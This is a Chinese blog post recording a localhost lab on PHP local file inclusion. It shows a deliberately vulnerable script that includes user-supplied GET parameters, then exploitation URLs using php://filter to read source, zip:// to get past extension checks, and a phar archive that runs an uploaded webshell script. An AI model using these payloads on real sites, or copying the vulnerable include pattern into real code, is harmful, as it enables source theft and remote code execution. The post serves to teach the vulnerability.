美文网首页hacker
LFI漏洞成因及利用

LFI漏洞成因及利用

作者: wtmxx | 来源:发表于2017-08-15 10:19 被阅读0次

    转载
    自己实验了一波。

    一.漏洞原因

    主要是php文件里include, require, include_once, require-once 函数不恰当使用引起的。

    LFI.php:
    LFI.php<br/>
    <?php
    echo "1"."<br>"; 
    include($_GET["include"]);
    echo "2"."<br>";
    require $_GET["require"];
    echo "3"."<br>";
    include_once $_GET["include1"];
    echo "4"."<br>";
    require_once $_GET["require1"];
    echo "5"."<br>";
    ?>
    
    
    func1.php
    <?php 
    echo "iam func1<br/>";
    ?>
    

    还有func2.php类似于func1.php。
    访问http://127.0.0.1/LFI.php?include=func1.php
    返回结果如下:

    Snipaste_2017-08-15_21-48-29.png
    发现require之后的代码确实没有执行。
    访问http://127.0.0.1/LFI.php?include=func1.php&require=func2.php&include1=func1.php&require1=func2.php
    返回结果如下:
    Snipaste_2017-08-15_21-53-09.png
    可以发现 require执行了, 但是include_once 和require_once 由于前面已经包含了php文件, 就没有再执行该部分代码。

    二.漏洞利用

    看多少记多少吧, 都是骚操作。

    1.使用php://filter 协议和base64编码去访问本地文件得到源码

    访问http://127.0.0.1/LFI.php?include=php://filter/read=convert.base64-encode/resource=func1.php
    结果如下:

    Snipaste_2017-08-15_22-21-00.png
    可以发现返回了func1.php 的base64 编码, 在通过将base64 字符串解码, 就可以得到源码。
    2. 使用zip:// 协议去访问压缩文件中的文件

    这就意味着可以直接绕过后缀名。
    比如访问'http://127.0.0.1/LFI.php?include=zip://func1.jpg#func1.php',其中fun1.jpg 是改了后缀的压缩文件。

    3.使用phar://协议去读取服务器端的phar文件, 执行 phar 文件中的php 脚本或者其他。这需要事先本地创建一个phar文件再上传到目标站点。

    创建phar 文件代码, 其中phar 文件里只包含一个 createwebshell.php 文件。

    <?php
    $phar = new Phar('webshell4.phar');
    $phar->addFile('createwebshell.php', 'cws.php');
    ?>
    

    phar文件就相当于 java 里的jar 文件, 只不过phar 文件不可以用压缩文档打开, 可以用编辑器打开, 会发现phar 文件拥有特别的格式。
    通过访问http://127.0.0.1/LFI.php?include=phar://webshell.phar/cws.php 可以执行cws脚本, 其中webshell.phar 的后缀可以随意更改以便绕过后缀检查。

    相关文章

      网友评论

        本文标题:LFI漏洞成因及利用

        本文链接:https://www.haomeiwen.com/subject/buhsrxtx.html